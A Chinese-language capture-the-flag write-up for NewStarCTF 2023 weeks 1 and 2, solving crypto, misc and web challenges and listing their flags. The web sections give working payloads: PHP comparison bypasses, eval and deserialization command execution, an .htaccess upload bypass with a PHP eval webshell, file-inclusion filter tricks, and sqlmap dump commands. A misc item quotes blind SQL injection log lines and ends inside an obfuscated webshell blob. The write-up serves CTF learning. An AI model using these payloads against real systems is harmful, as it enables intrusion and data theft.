NewStarCTF2023

Week1

Crypto

brainfuck

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.
a=input()

def brainfuck(a):
li = [0]
index = 0
kuo = []
output = []
i = 0
while i < len(a):
if a[i] == '+' or a[i] == '-':
li[index] = eval(str(li[index]) + a[i] + '1')
elif a[i] == '>':
index += 1
if len(li) <= index:
li.append(0)
elif a[i] == '<':
index -= 1
elif a[i] == '.':
print(li[index], end=' ')
output.append(li[index])
elif a[i] == ',':
i += 1
li[index] = ord(a[i])
elif a[i] == '[':
if li[index] == 0:
while a[i] != ']':
i += 1
i += 1
else:
kuo.append(i)
elif a[i] == ']':
if li[index] != 0:
i = kuo.pop()-1
else:
temp = kuo.pop()
i += 1
return output

output = brainfuck(a)
for i in output:
print(chr(i), end='')
flag{Oiiaioooooiai#b7c0b1866fe58e12}

Caesar’s Secert

1
2
kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}
flag{ca3s4r's_c1pher_i5_v4ry_3azy}

Fence

1
2
fa{ereigtepanet6680}lgrodrn_h_litx#8fc3
flag{reordering_the_plaintext#686f8c03}

Vigenère

1
pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

大厨一个个试过去对应pqc->fla

1
flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}

babyencoding

1
2
3
4
5
6
7
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part 1 base64 :flag{dazzling_encoding#4e0ad4
part 2 base32:f0ca08d1e1d0f10c0c7afe422fea7
part 3 uuencode:c55192c992036ef623372601ff3a}

convert_uudecode函数解密

1
2
3
4
<?php
$str = "=8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`";
echo convert_undecode($str);
?>

flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

Misc

CyberChef’s Secret

1
2
来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

大厨flag{Base_15_S0_Easy_^_^}

机密图片

小宝最近学会了隐写术,并且在图片中藏了一些秘密,你能发现他的秘密吗?

steg,RGB000

flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}

流量!鲨鱼!

导出对象http一个个找

1697985393564

1
2
Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=
flag{Wri35h4rk_1s_u53ful_b72a609537e6}

压缩包们

拖进去发现是一个zip,提取出来

1697985465863

发现是加密的,经过尝试不是伪加密,发现

SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==

解密说要6位数字密码

爆破密码232311

1
flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}

空白格

Whitelips the Esoteric Language IDE

1697985521954

隐秘的眼睛

silenteye

Web

泄漏的秘密

粗心的网站管理员总会泄漏一些敏感信息在Web根目录下

使用dirmap扫描,得到www.zip

下载得到index.php和robots.txt

1
2
3
4
5
6
7
robots.txt:
PART ONE: flag{r0bots_1s_s0_us3ful

index.php:
<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>"

Begin of Upload

普通的上传啦,平平淡淡才是真

抓包,1.jpg改成1.php

蚁剑连接

ErrorFlask

页面提示

give me number1 and number2,i will help you to add

1
?number1=1&number2=3

回显 not ssti,flag in source code~3

1
?number1=a&number2=3

image-20231022224604835

Begin of HTTP

请使用 GET方式 来给 ctf 参数传入任意值来通过这关

1
?ctf=1

很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢?如果你传入的参数值并不是我想要的secret,我也不会放你过关的或许你可以找一找我把secret藏在了哪里

检查源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk)
n3wst4rCTF2023g00000d
secret=n3wst4rCTF2023g00000d
很强,现在我需要验证你的

power 是否是ctfer 只有ctfer可以通过这关

Cookie: power=ctfer

使用 NewStarCTF2023浏览器 来通过这关!

User-Agent: NewStarCTF2023

Referer: newstarctf.com

本地用户

X-Real-IP:127.0.0.1

flag{73830fa0-1fe2-4beb-9d6b-9e5025480203}

Begin of PHP

PHP是世界上最安全的语言,真的吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

数组绕过强比较POST:payload:key3[]=1

strcmp($_GET['key4'],file_get_contents("/flag")) == 0file_get_contents("/flag")的值是字符串

这里strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。

payload:key4[]=1

1
!is_numeric($_GET['key5']) && $_GET['key5'] > 2023

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。

payload:key5=2024%00

要求键值即=后面的值不是字母、数字

完整payload:

GET:?key1=s878926199a&key2=s155964671a&key4[]=1&key5=2024%00

POST:key3[]=*&flag5=*

R!C!E!

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

image-20231022225113765

1
password=evcxdcczxrbdw&e[v.a.l=echo `tac /fl??`;

tac换成sort也行

EasyLogin

注册登录进去是一个chat对话框没用

ctrl+d退出对话框,翻遍Linux啥都没

按方向上键查询历史记录,得到密码是弱密码

试出来密码是000000

再登陆终端,提示试用burp

admin登录抓包

发现/passport的302跳转

1697986347417

Week2

Web

游戏高手

打开发现要玩游戏超过十万分

搜索alter,发现没有flag

查看app.js,把分数改成10

1697986810431

抓包

1697986829775

score修改大于100000,得到flag

1697986849830

include O。O

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

猜测题目对flag进行了base/rot过滤

payload:?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

1
flag{80aa7b2f-6f0e-46bb-8233-3046e5a8a11a}

ez_sql

sqlmap一把梭

1
2
3
4
5
python sqlmap.py -u "url?id=TMP0919" --dbs --batch
python sqlmap.py -u "url/?id=TMP0919" -D ctf --tables --batch
python sqlmap.py -u "url/?id=TMP0919" -D ctf -T here_is_flag --columns --batch
python sqlmap.py -u "url/?id=TMP0919" -D ctf -T here_is_flag -C flag --dump --batch
flag{a08ce636-0f3d-49f9-a6ef-be72d058bec2}

Unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

使用POST提交unser,进行反序列化,cmd的值不含cat、tac、more、tail、base的大小写变形,就执行system($this->cmd)命令

ls /

payload:unser=O:4:"evil":1:{s:3:"cmd";s:4:"ls /";}

回显中有 th1s_1s_fffflllll4444aaaggggg

1
2
unser=O:4:"evil":1:{s:3:"cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
flag{d2195283-49ad-403d-9ec7-fbf8d9440fa1}

Upload again!

.htaccess解析

1
2
3
<FilesMatch "3.png">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传3.png内容是

1
<script language="php">eval($_POST['password']);</script>

蚁剑连接即可

1
flag{76577f9b-fda7-4362-a0f2-0a21e9f6c435}

R!!C!!E!!

dirmap扫描发现

/.git/configindex.phpindex.php/login

发现后面两个没用

githacker扫描一下

1697196980019

bo0g1pop.php内容:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

PHP的无参数RCE - 先知社区 (aliyun.com)

参考这篇博客

getallheaders() 在最后加的话用bp打好像并不是最后一个,试了好多种别的办法无果,但是 next() 后是ua头,直接改ua

利用 payload: system(next(getallheaders()));

1697197213357

在根目录下有flag

1697197251490

Misc

永不消逝的电波

在线morse解密

1-序章

给了一个SQL盲注的日志,注入正确后会进入下一位的注入,例如

1
172.17.0.1 - - [20/Aug/2023:00:08:44 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"172.17.0.1 - - [20/Aug/2023:00:08:47 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# coding:utf-8
import re
import urllib
f = open('access.log','r')
lines = f.readlines()
datas = []
for line in lines:
t = urllib.unquote(line)
datas.append(t)
flag_ascii = {}
for data in datas:
matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data)
if matchObj:
key = int(matchObj.group(1))
value = int(matchObj.group(2))
flag_ascii[key] = value
flag = ''
for value in flag_ascii.values():
flag += chr(value)
print flag

sql

新建Word文档

新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑

搜索在线解密

flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}

base!

给了一个base.txt

里面是好多行的base64

猜测是base64隐写

iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

base58解得

flag{b4se_1s_4_g0od_c0d3}

jvav

java盲水印

https://github.com/ww23/BlindWatermark

java -jar BlindWatermark-v0.0.3.jar decode -c challenge.png 1.png

1

WebShell的利用

1
2
3
4
5
6
7
8
9
10
11
<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('WjxTUkE+Mk5TOUk1Pzk2KVQsMyxVPCYpTjo3KVI5SF1VOiclRTwmKUQ8T05TOUk1Pzk2KVQsMyxVO0lMUwpaPFA4RzdKJUU8JilEPE9AVDJUPVgxR05LNE9aOj4jNScwUU5LLDQtWj4jKTgyNDFTNlNEWDI0LTAzJi0nClo9SShGNiRSNi00OTMsNFIiPVQhTDE0PVc+Uk4oMSNOJywjNScwUU5LLDQtWj4jKTgyNDFTNlNEWDI0KEMKWj41Vig6Uy1BMEgtLi0kNVo8NU43MiRASzVKOUw0US0yLjRMKTQ1PSgwR1JHOkc0Qy01UiE0UFJBMFQ8RwpaPUclJjwmVigyIzU5NjUlJDlHVkotJz04MUoxWTA1JTMxRyVMMDUpKjQ1OEM2ND0uOzU9SSwmJTA+NihMCloxUTlINSQlSTE0OSE9UGBDMFE9OjlRJTM1VDkjMjQxSDFIJTIsJC0pPCJaKD4jMU82UTkhMFI9WTpUPSEKWjFUIVcyJEBINjVSMTEmPSo9RjFKNiQ9RzskJTE0Rz0hPjQlMjJSJTYsJU4yNlJOKj1GMEQyNzlHLVFOWQpaLDRdOjRUMVQ2NzhDPiQlKThQTiEyIzBGNlQ5JTNROVoyNU4iMiZVQzIkOEM7JVJKMTVWODFHMEQwRzlHClo6UTRENUg1Ij4nYEMxJkNDLDROSTRQISg0SD0vNlItJC4kNVc4SUwjMichTDVKPVc+UVJJPSZENjs0QEgKWjA3PSg+NT0xPjU1KT4mKVQ1SUdDLSVWKDhTWioxR0tENUc9OjpHNVkyNVY6NDROUDYnPSQsNCkyNlApIQpaNDMhVTBTSCguNDkmOlRWNzFHS1gwNzlINlIhTDhTWigxSlI2MDQ5JD40OSc0UCEiMVIoTDIlMS80NVYzClo0UFIiPUpSJTVHPTosNFIxPic9Oj1HMVgxUiUzNVI9JzVTOTc0IyFQMEghNztSTjEtJz06MiNARTIkPUsKWj01VjM1UFIqMUktKDBHOTI2JFZKNEdONjI3IVk1SCkvNVElSjI0OToxSClNMEc5Ty40NUo0SE4hPVEwTApaMTZIUz4lPSc0UCElOzMhSDBKPSQ+NVZKNUc5NzFHRFM1R0BHOyQlTDVHKTg9RiU0NlIpJDskJVo+NTU5CloyNS0iMlExUDtSUjExNyUiPUc1KDZRUiQsUSVaPTUlIz1RMUw2JD1IMSQ9STRTRDY7NF00MDdSJC01PScKWjA0NSIyNilZMDRARz1SVkkzNFIkOzU5SzBSKTotSD0pNUhOOjFHUiowUiUzNTVWMjEmViU7N1I1NCdSTwpaLVFOJzE1KSEyJzBENVQ8Rzg0RDI2U1o3PiQlMTY1JSUwUTknMTQxNjFUMEMxUiRDOjQlTDVTPTc0IzFLClowNFJDLSQ5KDpUPTo9VCFIMUglKTYkLSk8IlooMjU9NzBHOS00USVKOVAhJDRUMTgyVD0uLEctJj0iWiEKWjFGIVgwSj0oLDVOJy0nVjgyNDBEMVFORDQ1UiYyNFY4NDc1JzJUOU86RzRDOUgpITInYEwwVD1QNTQlKQpaPiZEITI0Q0kwNSUlMFFOMTMmJSMxUTFTMDUhSzskJUwzUy02MSYtQTA1JTo9NFInM0c9JjQnMVUwNSVLClo+USlMMTRWITs1LTUxUCVHOlElWj41OSE+NTlIMUglSDFHVkk9JlomPjU4RTZSJSQtNT0xLSMhIjFUYEMKWjIlITI9UlYpNVMpJzQ1OUw2UThLLCQlKTMmSDA+NihDMiUtNj1RLSg4Rzk3MUdSNTBHPU85USUzNVNaIwpaPVRgTDBUPEQ1NVYpPSZaKD1RTlowNFI2LjU9WjI0PSIxSmBDNVNEMzElVjI9JzUhOzY9JjFKPTI5SD1aClosIzk6PVElLjE0PTY+JC0oOVJOKj1GYEQyNz06LDROMzVTMToyJ05UNiUlLzU0KSc1UCk3NEdIODA1KUQKWjBRJUo1UC02MjdARDFSIUs6NCUpNFRSJj1IOEMwUT1POkc5MD40JTo0VGBIMUlDRywkJSg4UCEmNFAxSApaMEdSMjpRPS44SUw6MUdINjImR0c+NC0mPCMhKDQlKUwwU0g6PTQ5MTNITiMxUTBYMDRSLTYkJSg8IzUhClo7NS01MTUtOiw0NEMzSDUiOyQxTDFIJSk1NU4nPSNSJT1RQEMwN1I2OEg9MTlUTjcyNihYMDQ9KC01IUwKWjhTRCExUCFJNlRSMjpHTjE5RzkoPUgpWDA2RCg9US0oPCMlODQ0SCUyJzkkOVFOJjI2TCMxR05MNVNHRApaMTVWKDpQKTc0MyU2NlE5JC40OScxND0lNDRDSjA1LEMsJVYxPDQ5NzQjYEQwRzlDNiRWSjNQISExUjlZClowNzlMMzVWMTE0TCU7MyUmMjdOSzs0JTM1VE4iOzRASDFTSC8xUk4nOFM9JjQzIVAwNE5IMFEpSjRINSgKWj1TKVcyJzkoOzQlJzI0Vjo9SClNMjc5KC1HJEQ1UCUhNCclJjFJVlA7UlIpNEcpNzs1KEQ2JDkyOyU9WgpaM0gpITI0MEsxNkhHLCQ1MTVQKSgsNihGMEo5JD41ViczIyU3MVFOVzIkPUs4NVYnMSZaIT1ILSg2Uik6Clo6R05JMTUlIj1HMUwxSCUpMUctJzwjITY7NS05NCdSTzpRJTM1SCU5MVEwSDYlJVAyJC0nOFBSKTQlLTYKWjZRTkc+NU4nMydOOTFUQEs1VFJPOFJWSjIjUiE7NF01MFE4QywkTiYyNU4iMjRMSDVIJSUyJVYnPSZEKQpaNDMhVTY1KUM5SD1KLCc5Kj1SKTgyVD0zNSU5KT0mViY9RiFPNjUlKTBSPVksJiUpPUoxWTA1JS80UlYpClo0RyklNDQwRDInOSw7JCUzMyMxITQ3YEQ1SUg3MiQpKC4jOSU7NDUxMFFORzhIOSc1UyUsNFNWVzI1JEQKWjEkJScxJ1I4MSYtQTBKOS00UjknNVAhJCwnTlcwNDkoPjVWMzRHKToxSFZNNUc5OjpHTic0Rz06NDROSApaMVNIUz4lPSg6U0goOyNgRTZROSw5RzEnM1AlNzFJKEwwNS02ODVVQzwjUjc9RzFONlFSKDpRJSYyNVIwClo+NihYMiQ5TDZSVicxNFY2MUk4RDY0PSg6R04wMjU1Ij41KUwyVDxHLDQpJjRPWiExSlI2NlFORz40OTEKWjRINSk+J0BMNUpSTz5RLUoyIzElMUdIJjVHOSQ5RyUnLCZaOTFSVkg1VD0zMiREMjZSTio9SDlMNVE9NgpaLjROTDMmLSEyNVZQNUlIJCw0KSg6UCkoMUo1OTY1ISQ+NU4nNlRWJjQ0S1gwNzlINDVWSTImPSE9RiUlClo2NDlHLSQ1Wj4jLToyJyUmMDQ9LzU0LSguIzUoMVFOWjA0UiE7UjlXOElMIzI0NUcxSCUvMiQtMjEjJSEKWjI0RFAwRzktO1JOMSw0NSc+NilXMDUtNixSUkoyI1IqPUg4QzBHOTY6RzlNM0glITI0JTI2U0gyPjRSSgpaNVBSNzs0TkgwU0gsLjU9SjRITiMxSDhIMVIkRDtSIUw4Uzk2OzdASTBHUjI+NVJKNFAhIzFHQ1g1SGBDClo4USkpNUcpOD1GJTQzJSkkOyQlWiwjOTk0NDUiNlNIKTFIVic4U0Q3LCM1KDA3OSg+NVJaMiMhODFUYEQKWjIlIUssRyUyPDU5IjQ0S0Q2JE4kNiRWSjNHNTcyJihEMiVgQyxSVko8NEwlNDUtJjVRTlMtUSUwMiYtIQpaNEc1JjVKPEQ1USkyNlNWKDFGJSMwVE5DLTVWMS0jITcxSShDMjUxLzVSVig+NSUlOyZWSzVHOUctJE4wClo0VFYhNEdMWDFRTFA7UlYyPDQ5Oj1JLSUwRzhHLSQ5KDpQOToyJyU2MDc9Nj5RNEM8IlohNCMhTTBIIToKWj01TjExJ1I4MiZWVzIjIUctUS0nMSM1OjFHJTYxSjk6OkdOJzNHRDo0NDUmNjQ9LD4lPSY9I042OzROSApaNCdSTy1HJSYsIyU6MUdOVDBUOVcsJCUyNlNIJjQ0TkkwU0QkOkc9MTRIOTcxVEBEMDRARzg0LSYwNDk3CloxRiUlMSUpOjpRJEQ1UCkiNFQwTDZRPUwyJD1KPCZEIT1UNSw2UiUkLjVOMCwjJTYyJlY4MlQ9SDFHNTAKWjRTWig0JS03MDdSJTFSVko4SDUnPUgoSDE2SEs4US0oPSYtKjQ0S0UxNSFHLjROJiwmKSM0JVZMMFIlJApaLCQ5MDImRDc7N05LMFFSMzBSPUo1UCknNCVWWDEzYEg2USUpMDU1JTNTLUE2UT0pMlJOMThHMTgxSmBDClo2U0QoLFElTDRQNTc0IzBDMFE5QzpHJTEsJ1IhNDQ1MTFUPS4sNVIyNlM5NzI0RFgwSCUkLTQlWjEnPSwKWjRRMVcxNkhMNDQlSTE0ViY9RyUkNVE5MjpHTko+NEgwPjYpVzA2SEw2UlZaMjRWOjFIKEMxSCEoLUhWWQpaMidWOj1KJSIxU0hTLCU9JzZQJSk0UDFJMFNIJTNROTE0Rz0mNCNOWDInQEc4NCkzNlBSNz1HMVo1UVIuClo6USUyLTU5OjRIKVAxVD0lNVElJj0lTio9RiUnNiRSQzslPVo+JikiOzQxTDVJSDYsJFJKOFBSJjQnUiEKWjZUPUMtNU4wLDU1NzRRMEQyJSEoPTQlMDwnUjc9SC03MjdSLi1HTkw1Uy0hNFQhUDA2SFMsNU4yMSMpNwpaNDdOWTBTRCguNFZHOElMOiwnMVA1UT02LCVWMjlTWiE+JzU1NjUhJCw1VicyNDE4MVQxUzA3OUg1JVYyClo4UDU3NDMwRDI3OUM7NTlZMiMtOjI1LSIyNkg2PiQtKDlQMSEyNERONlE5LTtSOScsNTk5MVQwRTInOUsKWi1SIUw4UDklLCM1NzZRPSg+NTlKLDU1OjImVlgxUiEoOEhWKDwmPTc7NlZKNVE9LC1HJSYsIzUhNCclJgpaMUlIUDE1PSc2UCUmNCRASDZRUjI6UTkxMydSNzI0TFk1SGBDODQpMzNHOTgxRzFMNjQ9LDYkVkozNDUnClo+J2BYMDRARzg1Vlk8NCkiMUgtKDElKVMsNFIzNUctIjRIPSoxVD02PUdOSTRQPSE0RmBENlItMi0kMVkKWjpUTic9UURZMDRARz1SVkoxNVYmNDRSNjVHOSg7JT0pMyYlIzFRSDI2JDFQO1ElMTZUNSkxR0NENiROOgpaLTQ5MSw1Tjk0J2BINic8RDFSTic9JkQpNDMhWjA0OSgtNU4nLCdWKT1RQ0wxNzkzMEclSjInUjgxR10mClowR1JLOVI9STImLSMyJilYMlE9Liw1PSYuIyEoPjREUDQnUk8sJDVZPidSITQ0MVcxNSU2ODQpJjpQPTcKWjQkTlo2U0Q6Okg5JzEjLSw0UTBEMVFORyxIVkkxJi04NCMxSjBROSgtRyUxMiZaOjRILSIxNkhINVEpJgpaPCMlKDskTlMwNS0hMlFSWjVQJTc0UTE4MlQ9Mj4lPSY8Jlo3LDU4RzZROSw5RzEnM0hOIjFQYEMyJz1LClo4NCUpM1Q1NzQmVk4xSlJDOlElMT4mKSM9R1IqNlNIJTU1Tic4U1omNEdIITA0TkMtNClKOEg1Jz1UYEMKWjE2R0MtUSUxMTQpJjNTLUE2UVIhNVFOWi0nUiMxVDBJMiMhRzhRKVkwNzElMUdIJTBROVctNDVaNFMlOgpaLDRMTDA2SDM1SE4yOlNWITFQYEUwUiUpMjQxWjpUPSg9SmBMMTZIMzBRJUw0Rzk4NDYtJTVHOSw7JCUpClo1U1YwPjYoWDA3OUgzJVZJMSM1JzQ0SCYyNzlDOkclMzMjKToyJ0BHMTUlLCwkLSY9IzklLCMxVzZUPSgKWiw1OUotIyU4MiZWWTI1JVg1NVIxMSYtNz1HNSMyVDkyOkc5TDVQKSE+NS0iMTZHRywkKSc0Uk4qPUc1NgpaMDQ5SypIPEMzSFYhMiYtJjFJR0gxNVIoOFNENjs1KUw2UU5ENVI9SjI1NSIxUTBIMTZEKDg1UjAzNkwiCloxSC0mMjdORyw0UjEsJkg6PVE1MjZUPS0xUT1JOFBSJjQ3UjowNFIyLjQlRzhJTDk9RzUiMUglOj5SUiYKWjRTRCEyNEgkMDROTDVSPTA6UCE4MVQwSTIlIUs4UlYoOFAlIjFHQ0Q1UTkkKkclKC0mJSE+NDUqNUo9JApaLCQ4RD0mViE7N1I2MDUlKTJROSc1VFYjMVIoTDE3OSg+NSFMOFApITQ3UjU2NDkkLDRWSi0nPTkxSSlZClo1SUQoPlJWMTEjUjk7NEBDNjQ5RzolOVoyJik6MjUtIjJUPS4sJE5JNFA9KD1KUiswUilMNlI5WjVQISEKWjInIVgxUiEoOjVWSTEmPTo9SClKNUc5MjYkVko1UCElNEdMVzE2SEs5RyhENUcpOjFTVUMwNDlDKkclSQpaPjRaOjQ0TlQwNzlYMVFOSzhTRDYsNTlRMEdORy0kMVozSDUiMUdDSTE2SEwwNVVDPSdSNjFIOEM1Rz02ClosUUBDPSZEIz1HNSYxVDFQO1ElKTNHOSE7NjhDMUpORzpRQEM9Jjk5PUdATDFUPSU1UT1JNlNaJjQ3NTYKWjZRUjY+JDUxOUc5NjImVUcyJkhLLFEpWjw0TCYxR101Mic9NipHJSk1SE4hNEdMSDVTSDM1NDBEPSMlJgpaNSRdMTQnUk8tJE4mPiYtITInIVAwUiRENSU9JzEmSDcxVE5LMFNEJD40Vkk6VD0iMUpAQzA1JSg9USVMClowNTk4MUgtNjI3OUMtJEBDMSMtOTQlVUQ2JSUuLEcpJj0iWiEyNT1BNlQ5Oj00KTE0R04sNFExODJUPTYKWj41OSg5UzklOyROWTBIJSgtNTlKMSMhJiwkMEU1SChHPiQlSTE0ViY9RyU1MDQ9QzslPUk9NSk6PVFSRwpaMSZEWDFRUks4UE4hNFNWTDA1JSg5SD1KMjQ1Jz41VlQyJDkoOlJWSTMmPTYxJi1BMDUpQyw1PUoyNU4jClo0UTBEMiQ5SzskJUwwNFY4NDUtNDVHOTo6UVIyLTUlOTFHUio2UThDPUg5JzwmWiYxVDUxNlQ9KDpIUloKWjI0OSk9VDBYMDQ5KD40KVkzNFYmOzRSNTBRTkM5SD0yLSZWMD42KEMyNS0sPTQlMjw1Vio0NS0lMUgtLgpaLUdOTDMmRCM0NDBIMFQ8RDVIUiYyJlYlOzc1NTY0OSQtNU4xOEcxIjFJKVk1SUQoLFJWMTwjUiE9RjUlClowNSk6LiU5TDhUNSE0JVZIMUc9LzVSOSc4Uk4qPUZgRDFKPTI6SDxENVAxOj1RSCoyNkg2PUg5KDwmPSgKWjFQIU42UTk6LDQpSjRINTcxR0RYMVQ9Sy1RKUs8NCk3OzQlNTE1JU8sJCUxMidWIT1HMEw2NSRHPjQtJgpaMyNSNiwjMEUwU0glMFE5LjhJTCE0JyUmMUlDRDU1PSYzJjk2OyRASTZRTkQwUVIxM0dOIjI3IVM1SCEoClo7JCVMMDU5Nz1HMEMxSk5LOlFAQzEnTiI+J2BMNlE9JTVRKSc8JlopNFFdMjZSJSUzUTVaPSMhOTFRRFcKWjA1JUssSCFMOFNaJT1RTkw2UTkoOEcpSjhHNTc0UTBEMiUhSz1RJTMxJlYnNDRIJTBHTlc7JT0xLDVOIwpaNCRIMjVRPEQyJCUmOlApKD1RTks2Nz0pMFJWMDpUPTcxR0RZNUpSLC0lVkwxI1ImNDUtNTA0PS42JFZKCloxND0qPVQwQzVHOEMsSFYxPDQ5NzFILSYyN05PLSQ5MTImJSMyJzFPMVIlMixROTI5UDEoMVAhTzBHOSwKWjlITkoxIyEmLCROWDA0OTM1NVJKMTQpNz1TVk02JDk6LCU9KTM1Vjo0SDlMNUdMUDtSUjAxIzU6NDU5TQpaMTUlQy1HJEMtNVI6NEgtJjZTSC8xUS0oOFAlKDQnTk4wNSEpMlFWMTRTSCw0VDBFMiQ5KDhIVjEyIyU3CloxRyUnNjROMixRTicsJi06PjU9IjZRPUg1NVYnPSZaJj5RXTE0J1JPLFFAQzEmKTk0SClMMUglJTEkJScKWjwjITY7NF0xNlItMi00MVo4SDU3MUgpUzVGJTY9NCUxMSMlOjFILSgwRzhHOVElKTVTRCE+NVVIMDZINgpaLCQ1Mz0mViY0JE5LNjQ9JD40Vko0UyUjMVNWODJUPSUxNVYpPCZaIT4nNTowNSUkPjQ5JzRQISk9UUNMCloxNkQoPiQlKTRQNTo9SS01MUpOTypHJTI9JlYjPUdEUDI2SC4sUTkyOlApKD40SEE2VD0lMlEpSjRIOTgKWjRSVlgxUiEyOFJSKD00VioxJi1BNlQ5RDJRKUosNU43MVI5WDIjIUgxSFIwMiNSNzs0SCQ1RzlLLCROMQpaNEg9OjRHJTY1Rz0hMTQpJzRQISU7MyFNMDUhITBRVjE1UyUkNFRgRzA1IUs7NCVMM0c5ITszJTU2UVJPClosNE4pNVNOMD42KEkyJDkoOyVSJzIjNSI9RzU2NiRSLjpHUjEsJ1IhMjUpTDVKPEM+ND1JOFBSJT1RTk4KWjA3OSUxUTFaOVRSIzI2KFg1SjlLPVEpWjEmWic0NFI3MVIlLDlSPTM1SE4iNEddJjVKPSQ4NE5JNFJOKgpaPUdIKDBHTjo5RyUoLSZWOTQ0